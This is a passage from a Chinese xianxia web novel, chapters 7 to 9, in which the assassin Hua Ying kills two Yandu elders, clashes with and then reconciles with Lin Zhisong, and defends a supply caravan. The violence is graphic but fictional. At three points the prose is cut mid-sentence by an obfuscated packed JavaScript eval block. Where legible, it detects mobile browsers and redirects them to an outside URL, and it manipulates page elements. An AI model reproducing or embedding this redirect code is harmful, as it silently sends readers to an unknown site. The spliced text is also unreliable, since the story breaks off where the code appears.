少女身旁,无数雨滴突然在空中停滞不动,具意境修行者的力量在其中流转,膨胀开,酝酿成令人心惊肉跳的杀意。 它们剧烈震颤,朝华盈飞射而出,锋锐,冰冷,足以洞穿一切铜墙铁壁,更不论人的血肉骨骼。 灰白惨淡的月色下,华盈饶有兴致地观察了一下他们的招式,似觉得没什么看头,终于抬脚踏上最后一阶木梯。 冰层碎裂。 她扬手劈向老者,身法太快,衣裙翩飞,如飞鸟振翅,又如一道雷光强势撕裂雨夜,另一只手中有丝丝缕缕灵力聚拢,吐息间凝成利刃,飞掷向少女,掠起飓风。 她笑吟吟地回答他们眼中的惊惧,声音却冰冷,让人想起刀剑出鞘的瞬间带出的一片雪亮寒辉。 “事关紧急,感激不尽?陈镜竹怎会这样和我说话。” 他只会说—— 啊啊啊啊他大爷的救命啊!我要死了啊啊啊!华盈!!! 7. 第 7 章 少女人头落地时,华盈的手掌刚好劈在了老者的右肩。 老者的整条手臂都被齐根劈断,汩汩鲜血瞬间浇透了臂膀上森白的骨茬。 华盈那只手中爆发的灵力带着一股野蛮的凶劲,无法无天地冲击在老者身上,让他根本来不及放出求救的信烟,浑身已经皮开肉绽,哇地吐出一口血,昏死在地。 方才因为她双手没空而被随意丢了的那一小截蜡烛也恰好落了地,即将燃到尽头。 华盈蹲下身,先扭断了老者的脑袋,微弱的火光在透明的烛泪中摇摇欲坠,在她脸上投下刀刃般锋利的影子。 她在老者与少女身上细细摸索一遍,没找到任何能代表身份所属的东西,失望地取下二人的珍灵戒。 随后,华盈取出一瓶药水,倒在了两具尸体的身上,一脚把尸体踹出楼外,左手拧着两颗脑袋,右手手指勾着系着玉佩的五色丝绳,轻盈下楼。 走到一半,看见青要山监视她的人终于赶了过来。 她心情不错,故意要逗人玩一样,脚下亮起一个传送阵。 青要山的人只看见有两大团血淋淋的东西从醉逢楼上掉了下来,快速消融,腐烂,化成一片浓稠的血色淅沥沥落下,最后被大雨彻底抹去存在的痕迹。 接着,他们要盯的姑娘不慌不忙地从楼里出来了,与橘金色的阵光一起消失在雨中。 传送阵是什么想开就开着玩的东西吗?!他们愤愤握拳。 骗出了玉佩,华盈这一趟可谓满载而归。 陈镜竹落入贼手,普通的那些定踪寻迹的法子没用,需要有贴身之物辅助才行。 传送阵的终点开在了小楼二层房间外。 门是半开着的,屋内烛灯也依旧未熄,华盈真心实意地感慨林之凇这青要山少主当得累,敲了敲门,半晌无人应。 “林之凇?” 她唤了一声,等了片刻,低头瞧瞧自己给他带来的三份大礼,推门往里走。 留音石一路跟随,记下她客客气气的解释声,清灵动听:“我带了礼物给你,你不在,可我又不想再提回去,好沉,就先放你这里。太晚了,我好累,得回去睡觉了。” 不知是林之凇只把这里当成临时落脚的地方,便没有用珍宝精心堆砌布置,还是他喜好如此,寝居的环境清幽雅静,除了必要的桌椅床榻,书架屏风,剩下最特别的,就是桌上的一摞卷牍,细口瓷器里的几枝花枝。 以及一盒晶莹剔透的东西。 模样像是糕点,从内到外都是透明的,看起来柔韧有弹性。 华盈没见过,多看了一眼,猜想应该很好吃,微微皱着鼻子嗅了嗅它散在空气中的甜丝丝的香气。 背后灌进一阵风,吹起她的长发。 她像是被惊醒的兽类猛然缩了缩瞳孔,回头,眸子里映入林之凇风雨欲来的一双眼。 他就站在她身后,沐浴之后只穿了一身素净的里衣,发梢未干,正滴着水,鸦黑的眼睫还带着湿热的雾气,不悦的一双目光顺着地上的一道血迹,看向华盈手里拧着的脑袋。 再往上,是她纯澈无辜而不知罪过的笑眼。 林之凇心头怒意上涌。 华盈立刻意识到他生气了。 她连一个解释或道歉的字音都没来得及吐出,就被他捏住脖子按到了木桌上,背脊重重地磕在了冰冷坚硬的桌面,痛得令人忍不住蜷缩。 扼住她脖子的那股力量根本不讲情面,窒息感灭顶而来,折磨难熬,就好像将她捆了手脚浸入雾岚河中,看她溺亡。 卷牍被扫落满地,白瓷瓶也摔碎了,两颗人头咕噜噜滚到了角落,旁边是摔得四分五裂的留音石。 林之凇身上还散发着好闻的花木香气,黑沉沉的眼里却是肃杀的凛冬,若不是觉得华盈还有用处,此刻定想让她变成一具尸体。 他站得很近,右脚往前抵入她的双腿,微微俯身盯着她在他那只大手的掌控下,因为难以呼吸而微红的脸庞。 华盈被他的身形笼罩,凌厉强势的气息将她占为已有。 她余光瞥见地上的两道影子,皱眉。 糟糕的姿势。 “有没有人教过你礼数?半夜三更闯我的寝居,好大的胆子,嗯?”林之凇冷声。 华盈原本还觉得有几分对不住,被他掐着脖子的确特别生气,但不至于跟一个情绪不稳定的疯子撕破脸。 更何况他还是个有大用的疯子。 可她听见林之凇脱口而出的第一句话,只觉得被羞辱和刺痛,那种被人猝不及防被人狠狠撕开伤口的感觉,让她倏然握了握拳。 她盯着林之凇眼中叫嚣着要淹没她的暴戾风雪,缓缓吐息,胸腔里恼怒的起伏却始终难以平复,一双清灵好看的眼睛仍然笑着,却冷得像是折射着寒光的弯刃,显得无比危险。 骤然间,杀伐之力层层爆发,以她为中心,向四方掀卷起澎湃巨浪。 仿佛有一头蛮横而暴怒的猛兽从虚空中苏醒,无声的吼叫将此处空间冲撞得扭曲变形。 同境。林之凇心神一凛,瞬间确认。 墙上和架子里的东西早就东倒西歪,哗啦啦砸了一地,惨不忍睹的破碎声此起彼伏。 林之凇被这股力量掀退,微一怔。 才知白天在水下时,让她被木灵锁链轻易缠住的那一瞬间的慢势,是她在让招。 眨眼就已经被她逼得没有退路。 华盈将他以同样难堪且难以挣脱的方式死死抵在一墙书架上,抬手,在他脸上扇出啪的一声脆响。 忍无可忍。 林之凇被这一巴掌打懵了。 他见到了她真正生气,真正动手,原本已经做好准备领教她的顶级杀招,却没想到迎来了这么结结实实的一巴掌。 摒弃了灵力,没构造术法,没让他见识见识令人心胆俱寒的惩天之体究竟能具象出何种厉害的兵刃,连任何复杂的拳脚招式也全都没用上,就由着一股愤怒和野蛮的狠劲,不管不顾地朝他发泄。 像极了他小时候面对那些难听的、羞辱人的声音时,一定会撕破脸皮,拳拳到肉的与对方扭打在一起,摁着彼此的脑袋往水泥地面上砸,连死也不怕。 是他还没有来到这个大陆之前的小时候。 林之凇垂在身侧的手指形成肌肉记忆了一般握紧,指节青白,眸光动了动,似乎有一瞬间没分清面前的人是谁。 华盈的脸与他近在咫尺,二人的鼻尖几乎都要碰在一起,眼里只有彼此最真实的状态。 她愤怒又暴躁地盯着他,眼里流动的寒光似乎是深藏的獠牙,连那一缕浅淡柔软的雾月昙香也变成了带刺的荆棘,鬼气森森,想把他抽打得皮开肉绽。 再度抬起的右手带着又重又快的力道轰然降下,这次握成了拳头。 脸上火辣辣的痛觉迟缓地蔓延开,终于让林之凇清醒回神。 华盈竟然听见他冷嘶了一口气。 怕疼,那便是认输。 现在? 怎会。 华盈心中横冲直撞的一股怨气像是突然失去了攻击的目标。 不知怎么的,林之凇凛厉的气息变得有些紊乱,过了许久才从某种情绪中抽离出来。 在华盈看来,这是要握手言和的暗示。 华盈缓缓放下要砸在他脸上的拳头,气息渐匀,后退了几步,转身倚在墙角,手掌贴着冰冷的墙壁,静了静。 屋子里一片沉默,蜡烛也全都惨烈牺牲在刚才的气劲之中,月色淌在雨水中,勉强带进了几缕光。 系着玉佩的五色丝线倒是还挂在她手腕上,华盈垂眸拨弄了一下玉佩,有些不自在。 她缓缓开口,气息软和下来:“我从那两个人手里得到了陈镜竹的玉佩,或许可以用来找人,人找到了,星罗宫有没有六名具意境以上的长老,那些人是不是被用来起阵了,兴许就有结果了。” 林之凇后背也还贴着书架没动,就在她旁边不远。 他看了看滚到对面墙角的两颗血淋淋的人头,仍然十分在意污了自己屋子的血迹,冷着脸。 “那两人是谁?你出门一趟,怎么就见到了他们?” 华盈取下玉佩抛到他的手掌中,她的情绪调整得快,又是一副温和自然好说话的模样:“不认识,听着他们鬼鬼祟祟说什么星罗宫,就先揍了一顿,可惜嘴硬,别的一个字都问不出来。” 林之凇一听就知道她没说实话,低头看了看玉佩,抛出一句话:“崇阿军那边去查了陈胥的尸体,那尸体被毁得不像话了,基本查不出什么,但有一块皮肤被缝术复原了,上面的一道伤痕上有一两分赤炎掌的影子。” 赤炎掌是烨都三长老的成名技。 “真是烨都……”华盈看向他,目光滑落在他宽松衣襟下的几道雷击伤痕上,又自觉挪开,“现在就差找到他们人在哪了,若是被关押在长青城倒还好,麻烦是麻烦些,至少能救,可若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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两个具意境。 先是领命出去办什么事,出门还没多久,也就一支蜡烛燃尽的时间,命牌就碎得拼都拼不起来。 这是死得不能再死了。 具意境及以上皆算是高手,要打出致命伤,对方至少也得有同等战力的人手才行,可整个沧州都没剩多少厉害的修行者了。 这二人也死得静悄悄的,长青城里连个响动都没。 陆逸君气得发狂。 苍云息接到这个消息,却高兴得不行,陆逸君前脚还给林之凇下蛊呢,这么快就出了事,报应啊! 烨都的那群长老,林之凇可能认得不全,但苍云息这些年在青要山,烨都和北荒之间,为了些利益纠葛之类的大事,跑了不少腿,把对方的人摸得门清。 他是真好奇死的那两人到底是谁。 小楼被林之凇设了结界,里面的动静传不出来,苍云息赶过来时,刚好见到楼里的灯灭了,想着他可能也还没睡着,噔噔噔踏着木梯上了楼。 门竟然没关。 苍云息觉得稀奇,探头探脑走进来,见到满地狼藉,以及贴着书架安安静静站着的林之凇。 “梦游是吧?来,听个好消息就能给你治治清醒。”苍云息刚说出调侃的话,顺着林之凇目光所指的方向,见到两颗脑袋。 得,这下知道死的是谁了。 不是,怎么就死林之凇手上了?! 苍云息目瞪口呆地指了指地上的脑袋,又指了指林之凇,脸上崩裂的表情还没缓过来,后知后觉,发现角落里还有个人影。 他眨了眨眼,怀疑自己来的时机不太对,一颗八卦的心砰砰跳响起来,又觉得来得太对了,就往屋子里多走了几步,离林之凇近了些。 林之凇旁边不远,墙角的阴影里,站着华盈,很是温柔礼貌地朝他打了个招呼。 月色落在她身上,照亮她白皙娴美的脸庞。 也照亮林之凇脸上的五指印。 这场面实在太让人惊骇,苍云息捋了捋因果关系,第一反应是要跑,怕被林之凇杀人灭口。 沉默持续良久。 苍云息缓缓合上惊诧之际张大的嘴巴,脸上换了表情,幸灾乐祸,肃然起敬,朝华盈竖了个大拇指。 真牛! 8. 第 8 章 天光乍现,穿破潮湿的云层。 一簇簇细枝嫩叶被向外推开的窗户撞开,若是在人人期盼的晴日中,会有几滴凝着灿金晨辉的露珠簌簌抖落。 华盈一觉睡醒,养足了精神,这才打开昨晚搜刮来的珍灵戒,数了数里面的东西。 金银财宝不少,灵药灵露也还挺有用,意料之中。 却没想到还有一道生灭令。 模样是一只灰黑色的小圆球,内藏火焰,透过表面的缝隙,能看见其中流动着熔岩般的光芒。 华盈研究了一会这只微微发烫的圆球,心情愉悦地弯了弯唇角。 门外有沉而快的脚步声靠近,手中提了刀剑之类的重物。 华盈放下生灭令,朝着被敲响两声的房门投去一督,听门外的人说道:“华盈姑娘,少主有请。” “这就来。”华盈应了一声,利索地收拾好桌上东西,开门见到一名崇阿军战士。 这人话少,递了一把伞给她,自己就先一步往外走去,算是在前带路。 伞是青要山特制的,需得用灵力才撑得开,绘制在伞面的晴空云影栩栩如生,头顶当真变成了一片晴朗天色。 华盈走在伞下,周身干爽,外面的水汽沾不到她身上,忍不住感慨:“青要山的能人异士当真厉害,也不知二十七氏族的那些不轻易示人的看家本事若是有朝一日展露一二,都有何种令人羡慕的风采。” 能跟在林之凇身边的人,都有超乎寻常的警觉与忠诚,这种隐约含有几分打探意味的话落到了这名战士的耳朵里,那就直接被判定为打探。 身为一名战士,早就在刀光剑影间锻造出了一股子的威严肃冷,他微微压眉,像是让华盈把乱七八糟的心思都收好的警告:“每年都有不少人借着什么仰慕二十七氏族,想结交朋友的由头来闯青要山,好在崇阿军的刀还行,不会砍得卷刃。” 华盈眸光不动声色转了转。 她像是根本没往他警告的那个方向去想,点点头,赞叹:“早就听说青要山护卫森严,无人可犯,原来是崇阿军在防线出力不少,实在让人佩服。” 见人家好像只是顺着他的话随意聊聊,也没有什么打探套话的意思,这名战士不知怎么的,竟觉得松口气。 惩天之体要是动了来找麻烦的心思,那怎么也得闹得个鸡飞狗跳。 崇阿军倒是不怕事,但这种耗损心力的麻烦,谁都能避则避。 最好的办法,还是顺着少主昨天的意思,对她客气些,只要能顺利把人带到无上者那边就好了。 华盈看了看他带路的方向,湿漉漉的青石板路一直通向城主府大门的方向,朱红雕花的大门敞开着,外面站着的一众身影中,那位少主气质出挑,满身优雅清贵,抢眼得很。 她笑吟吟上前:“我们这是要去哪?” 带路的战士还没回话,门外听到脚步声的苍云息先扭头看了过来,一挥手,马尾也扬了扬,笑着招呼道:“走了,今日咱们得去迎一迎调运补给物资的商队。” 华盈走近些,瞧了瞧林之凇,那张脸上的指印倒是消了,冷淡不悦的神色还却还没消。 怎么可能心情好,因为恨生蛊的缘故,他走哪都得把她带上。 华盈也觉得晦气。 但她脾气一向不错,烦躁不快的心声到了嘴边,也变成了落落大方的沟通,令人心生好感:“都在等我了吗?以后若是有急事,随时可以提前些告诉我,我收拾得也快。出发吧。” 林之凇率先一步踏入积水的街道。 城里的牲畜被大水卷走了,能载人驮物的马匹没剩下多少,各有各的用处,没有多余又足够的马匹送他们这一队人出城。 城外淌水的坑洼也多,路滑,不是商队那些经过特殊训练的马匹,必定会受惊失控。 也不方便用传送阵。 传送阵的开启和传送距离的远近有诸多限制,除了开启者的实力不能太弱,同行的人数也不能太多,否则会扰乱传送通道中的灵力流动等等之外,还有最关键的一条限制,开启者至少要领悟了空间类术法的基础入门。 仅这一条,就能让大多修行者与开启传送阵无缘。 此外,传送阵对灵力的耗损也大,距离但凡开得远一点,传送结束后,开启者会有一段缓冲甚至虚弱期。 越是强大的修行者,越是恐惧自己出现任何一丝虚弱。 更何况还是在天地五行灵气失序暴动的沧州。 林之凇不由得侧首看了眼华盈,她的传送阵倒是用得随心所欲。 华盈没搭理这道目光。 长青城暂时安全,接纳了来自周围四城的大量难民,每一间被征用或搭建来安置难民的屋棚里都挤满了一道道疲惫麻木的身影。 城里城外也有些低洼地带还被雨水泡着,苗禾尽失,大雨不停,每一刻的安全都显得岌岌可危,怒号的雾岚河依旧是悬在每个人头顶上的刀剑。 华盈一路边走边看,因为跟着林之凇的缘故,瞧见了许多双充满感激,希冀的目光与热泪,在这一片被恐惧与不安包围的空间中,令人眼眶酸涩。 华盈这才扭头看了看走在前面几步的林之凇。 城中秩序没有因此大灾而陷入混乱,来自外界的物资也在尽可能地往这座城里输送,城里的人都认得他了,把他的出现当成无声却最有效的安抚,无不代表一种肯定。 倘若只是想要沧州五城的掌控权,他已做得无愧。 若是当年被大雪摧毁的梨花镇也有林之凇这样的人就好了。 华盈竟然忍不住想。 这样一来,镇上的人不会因为饥寒交迫而铤而走险,偷盗掘墓,不会有流民成寇,不会有人抛弃子女,易子而食。 华盈耳边似乎还能听见镇西饭馆里的屠夫挥落铡刀,划破空气的声响。 她动了动眸光,徒手抓下夺面而来的一支冷箭。 他们这时已经来到城外,连绵雨幕模糊了远处山林与天空的轮廓,灰白的树荫里潜伏着不知来自哪一方势力的大批修行者。 在这第一支箭射出来的瞬间,他们的气息与位置就全部暴露在了崇阿军的眼皮子底下。 两方人马混战至一处。 林之凇站在原地没什么情绪变化,出来接商队,本就是为了防这些意外。 华盈也没管这闲事,只是把这支被她捏断的箭往他面前递了递,唇畔的弧度往下压:“怎么会冲着我来?他们不应该杀你?” “因为他们知道杀不死我,出现在这,只是想挡挡路。”林之凇看向苍云息,“问商队的位置,叫他们别再往前,原地等着。” 苍云息反应很快,根本用不着林之凇吩咐,早就一边跟对方过招一边尝试联系商队,寸心简的莹光在雨中模模糊糊,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792526|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等不来回应,他沉下声:“寸心简联系不上。” 那边也出事了。 林之凇估了估商队的时间与路线,说:“开传送阵,残花道。” 华盈反应了下,才知道这句话是对她说的:“……?” 二话不说就对她释放木灵锁链的时候不知道有伤在身别肆无忌惮损耗灵力,开传送阵就知道了? 华盈默念物资要紧,目瞪口呆的表情快速消退,“你真不要脸”几个字到了嘴边,变成了“我不知道残花道在哪个方向”。 她离开北荒的机会太少了,对沧州这一带更是不熟,出门在外被提前牢记于心的,只有自己行事目标所在的几个位置。 至于其余的地方,想去就去,想走就走,还没像今天这样被人拉进意外。 林之凇抓起了她的右手。 这次触碰她的本意不是攻击或对峙,只是要用绘影术将他要去的地方精准直白地呈现在她脑海里,因此手上的力度很轻,却猝不及防的,让那层轻薄如云的衣袖滑落了下去,露出一截白皙匀称的小臂。 手臂内侧有几道疤,像是烙在肌肤上的隐秘图腾。 看得出那是用匕首之类的利刃刻出来的伤,红色的疤痕细长如线条,跟白纸上沾着血写下的文字没什么区别。 一笔一划,规规整整。 连犹豫或躲避而导致的颤线都没有。 要记录什么。 华盈温和的眸光明显一暗,用力甩开林之凇,愤愤的表情盖住那一瞬间的惊慌。 这不在她要告诉他的秘密之内。 每一次被「它」抹杀,从头再来,她都会忘记一切,之前的努力全部作废,制定过的计划、结识的人、搜集到的有用线索,全都被忘得干干净净。 也许会在某个偶然的时刻想起一些零星的关键事,譬如林之凇会下雾岚河。 也许永远都无法再被想起来。 华盈试了许多种办法记录它们,没有用。纸上墨迹,留音留痕的术法,都会随着她一起回到原点,变成空白的一片。 唯有身上用术法故意加深过的伤痕不会消失。 用了忘忧粉,不会疼。 华盈每次动手前都会和自己说一遍。 瞬息间的推搡中,林之凇默然。 在那一晃而过的小行红字中,林之凇看见了自己的名字。 他露出一个奇怪的眼神,无声地凝着华盈,像在思考,又似要听她回答,一个人要出于什么目的,因为何种浓烈的感情,才会在自己的身上用刀刃刻下他的名字? 华盈不知道他看到了什么,无视他眼里货真价实的困惑,绘影术已经作用在了她身上,传送阵在脚下荡开光芒。 林之凇快速抓着苍云息进了阵,丢下一句话给其他人:“抓几个活口。” 他最先踏入阵中,离华盈最近,听清了她低声吐出的一句话: “你真的很讨厌。” 林之凇听着,想起她昨夜露出的凶狠獠牙,猜想“很讨厌”三个字后面应该还跟着一句话: 我真想杀了你。 但又不对,他见过她真正生气的样子了,哪里像现在这样。 慌张,恼怒,放狠话,反而像是在掩盖什么。 林之凇脑海中忽然浮现出一个自己都觉得荒谬的念头。 她难道—— 喜欢我? 9. 第 9 章 华盈丝毫没瞧出林之凇的思路能往这个方向拐,否则定然会怀疑自己昨晚是不是打到他脑子了。 眼前橘金色的阵光还未敛尽,就被来自不远处的灵浪无差别攻击震散。 华盈清晰瞧见刀剑光影裹挟着凛冽的灵力光芒劈开雨幕,血珠飞溅,氤氲出一层淡淡的红雾。 残花道上躺了好些尸体,血水在不断冲刷的大雨中流尽,还剩下两名具意境在与光明正大袭击他们的十名黑衣修行者过招,境界大差不差,却输在寡不敌众,肩背与胸口都裂开深可见骨的伤口,触目惊心。 装运粮食被褥的马车木箱也被砸毁了。 一名黑衣人神色倨傲阴冷,朝着散落一地的这些东西猛然击出一掌,黑色的火蛇从掌心里咆哮而出,要将千里迢迢送来的救命物资化为灰烬。 世上并非人人都能觉醒灵脉,商队里除了护商的两名具意境,其他都只是凡人中的武者,真遇上了实力不凡的修行者合力围攻,结局就如眼前这般惨烈。 华盈想也没想,抬手掐诀,巨大的金色掌印从灰沉沉的天幕中轰然砸下,带崩山裂地的毁灭之威,将那几条飞扬跋扈的火蛇碾为飞烟。 那黑衣人侥幸从掌印下瞬行躲开,又惊又怒地回头看来,眸光骤变,瞳孔震缩间永远定格在此生最毛骨悚然的一幕—— 华盈就在面前,唇畔牵着打招呼的浅笑,一掌将他的脑袋砸得粉碎。 沾了血的黄白色泥浆状的液体飞溅在苍云息脸上,苍云息结印的手都轻轻一颤,忍着恶心狠狠抹了把脸,扭头投来控诉的目光,咬牙切齿。 却见华盈已经重新退至林之凇身旁,在他二人疑惑又无语的目光中,轻声细语解释:“我是杀手,扶危济困是我心肠好,帮别人解决麻烦却要给钱的。” 林之凇听完,发出一声冷冰冰的哼笑。 她实在不像一名杀手,平时温婉冷静,言语行事都谈得上妥帖大方,对谁都好脾气,又想救许多人。 譬如她想查邪阵,对城中的流民也心生怜悯,出手去救这些救命的物资时,比谁都快。 杀手冷心冷情,是为了保护自己,可她毫无这一特质。 倒像是被哪个世家大族保护得天真赤诚,浑身正气的大小姐。 林之凇迫不及待想知道苍云息那边会查出什么样的线索。 他看了一眼被四方刀气围堵而上的苍云息,苍云息也是具意境,又是一军将领,以一人之力对付这些专攻杀伐的黑衣人,麻烦了些,却不难。 但他更想看看,华盈昨晚是用什么手段杀了烨都两个长老。 林之凇垂眸盯着华盈清澈明丽的一双眼,从珍灵戒里随手摸出块价值不菲的灵玉,抛给她。 华盈接了东西,也不含糊,迈步往人群里去。 苍云息嗅到一缕幽月昙香接近,心中舒了一口气,原本只是期待华盈能帮他分担一些,却没想到这股香气以一种浓烈又奇异的方式攻入战场,伴随着一阵古怪的厉风迸发横扫,让一种难以言说的恐惧在心中尖啸着攀升。 黑衣人都被这突如其来的一阵风冲击得后退几步,霎时间难以睁开眼,脸颊和脖颈上都被什么东西冰了一下。 惊惧中,黑衣人慌忙用手一抹,只看见几片冰冷柔软的粉白花瓣从自己身上掉下来。 危机的来源是漫步而来的那名女子。 紫裙淡如烟雨,墨发柔顺,虽带着一身利落的肃杀之气,却不得不承认,她是灰蒙蒙的山景中最鲜亮清丽的一抹色彩。 五官倒是还没看仔细,因为—— 下一瞬,他们感觉到有什么东西在肺腑经络之中炸开了,穿透了骨骼与血肉,绽放出一朵朵娇艳的雾月昙。 粉白的花瓣被血水浸泡,变得嫣红诡异。 黑衣人不可置信的目光凝固在自己胸口开出的不知名的花朵上,缓缓往地下倒去。 无一生还。 华盈也正好走进了方才的战场里,俯下身,仔细看这些黑衣人究竟什么来历。 “你不来看看吗?”她等了一会,抬头疑惑地问站在血泊外的林之凇。 苍云息看得头皮发麻,脸部的表情因为极度震惊与激动,扭曲得有些难看。 具意境修行者的合力围杀,竟然还不够她看的?! 苍云息越想越崩溃,目光投向林之凇,双手比划着,疯狂给他打手势。 ——你确定你现在的状态能保证她不脱离控制? 林之凇淡淡扫向他的目光意思明显,叫他别一惊一乍杞人忧天。 他只专注于观察华盈的一举一动,有一种不算好的预感,华盈若闯入四大世家鼎立之局,将轻而易举的,把如今的对峙局面全部颠覆。 护商的两名具意境身形狼狈,接了苍云息递过去的止血灵液,朝林之凇抱拳:“多谢林少主和诸位救命之恩。” “与上次遇到过的偷袭者可是同一家的人?”林之凇问。 左边身形高壮的那名修行者仰头喝了灵液,愤愤地把瓶子往水洼里一扔:“要是同一个地方来的人,我心里反倒舒坦点,偏偏这些人的拳脚路数完全天差地别,他娘的,那些世家门派平日里都喊着护佑天下,现在家家都来沧州踩一脚,人命还真是贱如草芥。” 林之凇最近就没哪天的脸色好看过,现在更像是积了冰。 他陈述事实:“是因为我来沧州,城里城外才多了好几桩乱子。” “林少主,你这是在自责吗?真是稀奇,但是这件事怪不着你身上。”华盈抬头督了他一眼,起身走过来,心平气和地告诉他,“他们没本事拿下沧州,管不了五城百姓的生死,更不可能在你驻守沧州之后,把五城从你这里拿走,就只能用这种方式来恶心人,可这算什么?不服却无能为力,最可怜了。” 她走到了面前,雾月昙的香气也近,这次不是昨晚带着刺的、要绞杀谁的鞭子,柔软得可以把人拉入好梦,“如果你不来沧州,五城的人就没了。” 林之凇嗅着这一缕香气,默然。 情绪本来就不稳定。 现在被它搅得一团糟。 华盈短短一天就习惯了,在他这个惜字如金的人面前,无论说什么话都有点像是自言自语。 她并不因此气馁,把一枚从尸体上翻出来的暗器递到他眼前,弯弯的眼里露出点骄傲:“看看。” 她刚才速战速决,一招灭敌,五行灵气失序对身体造成的影响翻了几倍,在灵脉中翻涌乱撞的力量就有些压不住了,气息难得的有些紊乱,整个人的气势似乎都弱了几分,露出一种需要人悉心呵护的柔弱假象。 林之凇的注意力还在她略显紊乱的呼吸和有些充血泛红的眼睛上,眸光幽幽。 半晌,也不知自己出于什么心理,给苍云息递了个眼色。 苍云息这些年跟在他身边,对他任何一个表情动作代表的意思都了如指掌,此刻因为觉得不可思议,先是茫然地啊了一声,很快拿了瓶青要山特制的药出来。 他把药递给华盈,表情精彩:“喏,调息灵力的药,我们家林大少主自己用的,外面多少钱可都买不来。” 华盈弯眼笑时尤为真诚:“林少主真是热情大方,下次若有需要再找我帮忙,可以打折。” 她致了声谢,拔开瓶塞喝了一口,发现效用的确不同寻常,就舍不得再多喝,收进了珍灵镯里。 林之凇已经把那枚暗器翻来覆去看了几遍,下了结论:“白衣门。” 苍云息正在联系城主府的人分出一队过来搬东西,闻言眉梢一挑,扬声脱口而出:“要没这几茬子事,我还真看不出沧州原来还乱着,什么阿猫阿狗都来凑热闹,我们的人在这守着累着,什么白衣门,胆儿这么肥的?” 两名修行者这时回忆起了一些细节,连忙对他们说:“林少主,可不止白衣门和上回那拨人来趟浑水!我们在经过残花道外面那座山的时候,远远看见一个和小山丘一样高的东西,就那么闪了一下,跟眼花了一样。” 林之凇的声线沉了下去:“看没看清是什么东西?” 二人皱眉思索,脑海里有一个模糊的形象,却因为它的外形残损得有些奇怪,又几乎被一层屏障给盖得严严实实,一下子描述不出来。 华盈问:“塔?” “对!对了,就是塔。”二人肯定道。 华盈与林之凇对视一眼,思索道:“看样子应该是用了搬山阵,空间术中,也只有搬山阵能把那么大的一座机关塔从原地带走。塔里还有大型阵法和力量那么强的生灭令,要将这些东西一并搬走,至少得有三个逍遥境。” 苍云息总觉得烨都的许多术法很邪门,人也邪门:“陆逸君到底带了多少个烨都的长老过来?还憋了什么坏心思呢。” 华盈笑吟吟地劝他消消气,顺势说:“管他什么坏心思,毁了机关塔和里面的阵,沧州的雨应该也就停了,是吧,林少主?” . 临春楼。 偌大的演武场上,惨叫哀嚎声不绝于耳,跪倒在血泊里的一名男子已经奄奄一息,脸上布满了淤青与血痕。 那些被锋利扇骨划割开的伤口深可见骨,已经翻卷溃烂,可他不能向对面杀意鼎盛的陆逸君求饶。 因陆逸君的喜恶,战至最后或许还有机会拖着碎骨残躯留下一口气,求饶却只有死路一条。 守在院子里几个心腹们皆无声垂首,正因为对眼前这副血腥之景无比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792527|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟悉,才更害怕下一个被陆逸君随意点上场的人正是自己。 说是在给陆逸君陪练术法,实际是被这位当作出气筒,供他以折磨虐杀来发泄心里的怒火。 陆逸君残忍暴戾,心情极差时,想杀人就杀了,只当是踩死了一只蚂蚁,才不管你昨日还为他闯刀山火海,立过累累功绩。 当年他虐杀萤雪的手段,至今还让见过的人噩梦连连。 “机关塔的安置点,从昨日到现在,这是换第几次了?” 陆逸君咬牙切齿,说到最后,怒笑了声,出招又快又狠,不给自己和对手留退路。 碧海清风扇引动涛涛水力,好似让人沉入了黑暗窒息的海底,被可怕的水浪与气压挤得脏腑碎裂。 这话问的是在场的所有人,却没有人敢应。 那倒在血泊里的人凭着一股求生的欲望艰难站起,气若游丝,无疑救下了在场的同僚们:“公子,第、第三次了……公子!放置机关塔的地点已经确定好了,等到酉时,就能把机关塔挪过去,酉时是最匹配的时机!这次不会再出乱子了。” 陆逸君阴冷地笑了笑,垂眸俯视脚下遍体鳞伤的人,眼里却全是雾岚河底一身倨傲孤冷之气的林之凇,恨得青筋暴跳。 塔中阵法的设置最挑地点,河底那一处就是最好的,此外没有哪里可以替代。 明明是顺利进行了半个多月的计划,眼看再等半个月就能大功告成了,却被不知道发了什么疯下了水的林之凇给破坏了。 而他们还得为了防止青要山的人去查机关塔和里面的东西,用搬山阵把这座庞然大物给搬走。 苦苦寻找出的几个地点总有缺陷,机关塔来来回回地搬,让三个长老像是被抽干了力气一样,现在还在榻上躺着不说,万一影响了阵法的效果…… 陆逸君深深吸了一口气,仰头看向不断倾泻的大雨,抹了一把脸,烦躁不安之意才稍稍平息了些。 碧海清风扇的一根根扇骨上挂满了血肉,他有些嫌弃地哼了一声,随手抛给场下侍立的一名心腹去处理。 陆逸君转身走下场,浴间里已经备好了热水,被舒适的热气包围,陆逸君气息松弛了几分,背脊贴着浴池的石壁往热水下沉了沉,发出一声低低的喟叹。 这让侍立在一扇屏风之外的心腹骤然多了几分安全感。 